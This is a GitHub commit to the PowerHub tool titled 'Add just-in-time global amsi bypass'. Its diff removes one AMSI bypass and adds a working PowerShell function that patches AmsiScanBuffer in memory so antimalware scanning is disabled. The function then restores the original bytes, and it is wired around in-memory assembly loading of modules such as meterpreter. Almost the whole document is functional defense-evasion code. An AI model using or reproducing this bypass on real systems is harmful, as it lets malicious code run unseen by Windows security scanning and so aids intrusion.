Skip to content

Commit 404f0f2

Browse files
Adrian VollmerAdrianVollmer
authored andcommitted
Add just-in-time global amsi bypass
1 parent ed21b60 commit 404f0f2

File tree

2 files changed

+76
-28
lines changed

2 files changed

+76
-28
lines changed
Lines changed: 74 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -1,33 +1,79 @@
1-
{#
2-
Disable the process-specific AMSI.
3-
Similar to Rasta-mouse, but without touching disk.
4-
#}
5-
6-
function LookupFunc {
7-
Param ($moduleName, $functionName)
8-
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
9-
$tmp = @()
10-
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
11-
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,@($moduleName)), $functionName))
12-
}
1+
function Patch-AMSI {
2+
param(
3+
[byte[]] $restoreBytes = $null
4+
)
135

6+
# Define P/Invoke signatures for the necessary Windows API functions
7+
$sig = @'
8+
[DllImport("kernel32.dll")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
9+
[DllImport("kernel32.dll")] public static extern IntPtr LoadLibrary(string lpFileName);
10+
[DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr lpAddress, UInt32 dwSize, UInt32 flNewProtect, out UInt32 lpflOldProtect);
11+
[DllImport("kernel32.dll", EntryPoint="RtlMoveMemory", SetLastError=false)] public static extern void MoveMemory(IntPtr dest, IntPtr src, int count);
12+
[DllImport("kernel32.dll")] public static extern void CopyMemory(IntPtr dest, IntPtr src, int count);
13+
'@
1414

15-
function getDelegateType {
16-
Param (
17-
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
18-
[Parameter(Position = 1)] [Type] $delType = [Void]
19-
)
20-
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
21-
$type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')
22-
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')
23-
return $type.CreateType()
24-
}
2515

16+
# Add the defined P/Invoke methods to the PowerShell session
17+
Add-Type -MemberDefinition $sig -Name 'Win32Api' -Namespace 'Win32'
18+
19+
# Load the amsi.dll
20+
$dllHandle = [Win32.Win32Api]::LoadLibrary("amsi.dll")
21+
if ($dllHandle -eq [IntPtr]::Zero) {
22+
Write-Debug "Failed to load amsi.dll"
23+
return
24+
}
25+
26+
# Get the address of AmsiScanBuffer
27+
$amsiScanBufferAddr = [Win32.Win32Api]::GetProcAddress($dllHandle, "AmsiScanBuffer")
28+
if ($amsiScanBufferAddr -eq [IntPtr]::Zero) {
29+
Write-Debug "Failed to get address of AmsiScanBuffer"
30+
return
31+
}
32+
33+
# Change the memory protection to allow writing to the function
34+
$oldProtection = 0
35+
$pageSize = 0x0015
36+
$newProtection = 0x40 # PAGE_EXECUTE_READWRITE
37+
$virtualProtectResult = [Win32.Win32Api]::VirtualProtect($amsiScanBufferAddr, $pageSize, $newProtection, [ref]$oldProtection)
38+
if (-not $virtualProtectResult) {
39+
Write-Debug "Failed to change memory protection"
40+
return
41+
}
2642

27-
[IntPtr]$funcAddr = LookupFunc amsi.dll AmsiScanBuffer
28-
$oldProtectionBuffer = 0
29-
$vp = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualProtect), (getDelegateType @([IntPtr], [UInt32], [UInt32],[UInt32].MakeByRefType()) ([Bool])))
30-
$vp.Invoke($funcAddr, 5, 0x40, [ref]$oldProtectionBuffer)|Out-Null
43+
# Define the patch to disable AMSI (xor edi, edi; nop)
44+
$patch = [byte[]](0x31, 0xFF, 0x90)
3145

32-
$buf = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
33-
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $funcAddr, 6)
46+
# Allocate unmanaged memory and copy the patch
47+
$unmanagedPointer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(3)
48+
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $unmanagedPointer, 3)
49+
50+
# Perform the pointer arithmetic manually by casting IntPtr to long
51+
$offset = 0x001b
52+
$targetAddress = [IntPtr]([Int64]$amsiScanBufferAddr + $offset)
53+
54+
if ($restoreBytes) {
55+
# If restoreBytes is provided, restore the original bytes
56+
$unmanagedPointer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($restoreBytes.Length)
57+
[System.Runtime.InteropServices.Marshal]::Copy($restoreBytes, 0, $unmanagedPointer, $restoreBytes.Length)
58+
[Win32.Win32Api]::MoveMemory($targetAddress, $unmanagedPointer, $restoreBytes.Length)
59+
Write-Debug "Memory restored successfully"
60+
} else {
61+
# No restoreBytes provided, return the bytes being overwritten
62+
63+
# Allocate unmanaged memory to hold the original bytes
64+
$originalBytes = New-Object byte[] 3
65+
$unmanagedPointer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(3)
66+
67+
# Copy the original bytes from the target memory address
68+
[Win32.Win32Api]::CopyMemory($unmanagedPointer, $targetAddress, 3)
69+
[System.Runtime.InteropServices.Marshal]::Copy($unmanagedPointer, $originalBytes, 0, 3)
70+
71+
# Now patch the memory with the new bytes
72+
$patchPointer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(3)
73+
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $patchPointer, 3)
74+
[Win32.Win32Api]::MoveMemory($targetAddress, $patchPointer, 3)
75+
76+
# Return the original bytes
77+
return $originalBytes
78+
}
79+
}

powerhub/templates/powershell/powerhub.ps1

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -597,7 +597,9 @@ Load the .NET module with the name 'meterpreter.exe' in memory and run it
597597

598598
foreach ($m in $Module) {
599599
$code = $PowerHubModulesContent.($m.Name)
600+
$originalBytes = Patch-Amsi
600601
$a = [Reflection.Assembly]::Load([byte[]]$code)
602+
Patch-Amsi -restoreBytes $originalBytes
601603
$al = New-Object -TypeName System.Collections.ArrayList
602604
$al.add($Arguments)
603605
if ($OutFile) {

0 commit comments

Comments
 (0)